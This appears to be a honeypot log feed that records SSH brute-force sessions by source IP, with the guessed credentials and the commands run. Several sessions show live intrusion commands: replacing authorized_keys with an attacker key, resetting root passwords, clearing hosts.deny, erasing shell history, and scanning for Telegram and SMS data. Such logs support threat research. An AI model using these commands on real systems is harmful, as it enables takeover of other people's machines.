$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

🎭 venomous_kopi_root (47.236.116.235) — Singapore, Singapore · 1 session · 1 cmd

2026-05-16 18:03 EDT · as ubuntu/ubuntu

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 savage_orchid_root (129.226.156.184) — Singapore, Singapore · 1 session · 19 cmds

2026-05-16 16:41 EDT · as root/toor

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:ol2qxi4lSAHp"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 weary_kopi_root (43.134.24.11) — Singapore, Singapore · 32 sessions · 32 cmds

2026-05-16 14:32 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 32x across 32 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×32

🎭 midnight_kimchi_root (115.140.161.61) — Changwon-si, South Korea · 1 session · 9 cmds

2026-05-16 15:20 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 spectral_wok_root (8.138.221.210) — Guangzhou, China · 1 session · 1 cmd

2026-05-16 15:07 EDT · as root/12345678

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 savage_kudu_root (20.164.21.26) — Johannesburg, South Africa · 35 sessions · 35 cmds

2026-05-16 12:21 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 35x across 35 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×35

🎭 frantic_bike (20.16.140.47) — Amsterdam, Netherlands · 1 session · 1 cmd

2026-05-16 11:54 EDT · as deploy/deploy123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 hollow_husk_root (213.160.170.164) — Bratislava, Slovakia · 1 session · 9 cmds

2026-05-16 06:13 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 rabid_silk_root (117.50.89.245) — Beijing, China · 1 session · 1 cmd

2026-05-16 02:58 EDT · as root/admin123

grep

$ grep processor /proc/cpuinfo|grep -v Duo|wc -l

🎭 frantic_bosphorus_root (31.40.204.166) — Istanbul, Türkiye · 36 sessions · 36 cmds

2026-05-15 22:52 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 36x across 36 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×36

🎭 wired_panda_root (120.40.212.137) — Sanming, China · 1 session · 1 cmd

2026-05-15 22:10 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 wily_blitz_root (43.165.3.187) — Frankfurt am Main, Germany · 1 session · 20 cmds

2026-05-15 21:21 EDT · as ubuntu/1q2w3e4r

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "1q2w3e4r\nYL4LFQstqiSF\nYL4LFQstqiSF"|passwd|bash

$ Enter new UNIX password:

$ echo "1q2w3e4r\nYL4LFQstqiSF\nYL4LFQstqiSF\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 baroque_dutch_root (176.65.132.242) — Eygelshoven, The Netherlands · 51 sessions · 51 cmds

2026-05-07 23:00 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 51x across 51 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×51

🎭 wily_volcano_root_159 (202.152.204.159) — Sangkalputung, Indonesia · 2 sessions · 2 cmds

2026-05-14 23:31 EDT · as admin/123456, root/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 drowsy_scone_root (139.59.183.60) — Slough, United Kingdom · 1 session · 1 cmd

2026-05-15 11:11 EDT · as root/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 drowsy_yankee_root (47.253.11.8) — Charlottesville, United States · 17 sessions · 17 cmds

2026-05-15 08:49 EDT · as admin/123456, admin/password, deploy/deploy123

Ran uname 17x across 17 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×17

🎭 molten_shogun_root (43.167.9.122) — Tokyo, Japan · 1 session · 1 cmd

2026-05-15 07:32 EDT · as user/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 molten_pretzel_root (94.26.106.229) — Kriftel, Germany · 27 sessions · 27 cmds

2026-05-15 06:25 EDT · as admin/123456, admin/admin123, admin/password

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×27

🎭 obsidian_bike_sol (192.109.200.50) — Eygelshoven, The Netherlands · 32 sessions · 32 cmds

2026-05-15 05:06 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×32

🎭 feral_samba_root (170.80.65.140) — São José da Lapa, Brazil · 1 session · 19 cmds

2026-05-15 05:56 EDT · as root/123qweasdZXC

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:Oos1kVQ6ibxF"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 midnight_dragon_root_220 (106.13.163.220) — Beijing, China · 1 session · 1 cmd

2026-05-15 02:07 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 feral_amber_root (83.168.69.16) — Szczecin, Poland · 32 sessions · 32 cmds

2026-05-14 21:14 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 32x across 32 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×32

🎭 grumpy_junk_root (172.98.22.200) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-05-14 21:58 EDT · as root/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 crimson_orchid (43.160.249.52) — Singapore, Singapore · 1 session · 1 cmd

2026-05-14 20:46 EDT · as user/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 drowsy_burger_root_231 (152.53.195.231) — Manassas, United States · 1 session · 9 cmds

2026-05-14 20:10 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 stoic_silk_root_10 (203.156.216.10) — Hongkou, China · 1 session · 1 cmd

2026-05-14 13:34 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 drowsy_wok_root (120.77.248.58) — Shenzhen, China · 2 sessions · 2 cmds

2026-05-11 16:26 EDT · as oracle/Oracle@123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 cryptic_beefeater (161.35.172.206) — Slough, United Kingdom · 1 session · 1 cmd

2026-05-14 06:24 EDT · as deploy/deploy123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 aloof_sensei_root (8.211.145.144) — Tokyo, Japan · 1 session · 1 cmd

2026-05-14 05:43 EDT · as pi/raspberry

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 gnarled_dragon_root_85 (121.4.80.85) — Shanghai, China · 1 session · 1 cmd

2026-05-14 04:47 EDT · as ubuntu/ubuntu

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 rusty_wok_db (182.92.94.19) — Beijing, China · 1 session · 1 cmd

2026-05-14 03:09 EDT · as oracle/Oracle@123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 ashen_gouda_sol (2.57.122.53) — Amsterdam, The Netherlands · 86 sessions · 86 cmds

2026-05-11 19:03 EDT · as bitcoin/bitcoin, eth/eth, firedancer/firedancer

Ran uname 86x across 86 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×86

↳ obfuscated system check

🎭 gnarled_static_root (185.158.23.150) — Karbala, Iraq · 1 session · 19 cmds

2026-05-13 23:52 EDT · as root/pass123

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:frta33eyDocJ"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 listless_seoul_root (122.35.192.61) — Yongin-si, South Korea · 1 session · 19 cmds

2026-05-13 23:46 EDT · as root/pass123

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:EfNONgqgUjcv"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 baroque_orchid_root (43.156.72.225) — Singapore, Singapore · 1 session · 20 cmds

2026-05-13 19:33 EDT · as ubuntu/1q2w3e4r

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "1q2w3e4r\nxAyQevDkHa0i\nxAyQevDkHa0i"|passwd|bash

$ Enter new UNIX password:

$ echo "1q2w3e4r\nxAyQevDkHa0i\nxAyQevDkHa0i\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 aloof_baguette_root (51.254.146.130) — Paris, France · 1 session · 9 cmds

2026-05-13 17:50 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 zealous_windmill_root (34.13.216.121) — Groningen, Netherlands · 1 session · 1 cmd

2026-05-13 15:27 EDT · as oracle/oracle123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 manic_merlion_db (43.160.243.51) — Singapore, Singapore · 1 session · 1 cmd

2026-05-13 15:12 EDT · as mysql/mysql

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 sneaky_clog_sol (2.57.122.208) — Amsterdam, The Netherlands · 96 sessions · 96 cmds

2026-05-06 18:28 EDT · as sol/123, sol/sol, solana/solana

Ran uname 1047x across 1047 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×96

↳ obfuscated system check

🎭 drowsy_bike_root (34.34.84.121) — Groningen, Netherlands · 1 session · 1 cmd

2026-05-13 11:35 EDT · as oracle/oracle123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 drowsy_pasta_root (5.95.121.178) — Naples, Italy · 1 session · 19 cmds

2026-05-13 08:15 EDT · as root/1234

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:0Nu8mSIAwyri"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 haywire_cipher_root (95.216.57.121) — Helsinki, Finland · 1 session · 1 cmd

2026-05-13 07:45 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 scrappy_wraith_root (37.27.26.133) — Helsinki, Finland · 1 session · 1 cmd

2026-05-13 06:52 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 gnarled_kebab_root (213.250.134.35) — Istanbul, Turkey · 27 sessions · 27 cmds

2026-05-13 05:33 EDT · as admin/admin, admin/admin123, admin/password

Ran uname 27x across 27 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×27

🎭 brisk_silk_root_31 (121.41.116.31) — Hangzhou, China · 1 session · 1 cmd

2026-05-13 06:15 EDT · as test/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 rusty_blitz_root_233 (165.22.71.233) — Frankfurt am Main, Germany · 1 session · 1 cmd

2026-05-13 05:42 EDT · as mysql/mysql

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 weary_ximen_root (106.107.248.155) — Taichung, Taiwan · 1 session · 1 cmd

2026-05-13 04:54 EDT · as root/1234

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 velvet_merlion_root (43.106.142.143) — Singapore, Singapore · 35 sessions · 35 cmds

2026-05-12 22:56 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 35x across 35 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×35

🎭 vapor_elephant_root (155.102.201.82) — Bangkok, Thailand · 1 session · 1 cmd

2026-05-12 22:28 EDT · as root/1234

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 silent_jade_root_86 (121.196.227.86) — Hangzhou, China · 1 session · 1 cmd

2026-05-12 22:09 EDT · as admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 velvet_dragon_root_64 (116.177.172.64) — Jinrongjie, China · 1 session · 1 cmd

2026-05-12 21:21 EDT · as admin/admin

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 savage_blitz_crypto (212.87.212.169) — Frankfurt am Main, Germany · 1 session · 5 cmds

2026-05-12 20:46 EDT · as bitcoin/bitcoin

unset → ls → exit

$ unset HISTFILE

$ ls

$ ls -lah

$ ls /home/

$ exit

🎭 brazen_capoeira_root (186.248.197.77) — Belo Horizonte, Brazil · 1 session · 2 cmds

2026-05-12 18:43 EDT · as oracle/oracle@2025

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 lurking_jade_db (43.138.184.154) — Guangzhou, China · 1 session · 1 cmd

2026-05-12 18:24 EDT · as oracle/oracle

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 derelict_silk_root (8.136.127.153) — Hangzhou, China · 1 session · 1 cmd

2026-05-12 17:25 EDT · as guest/guest

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

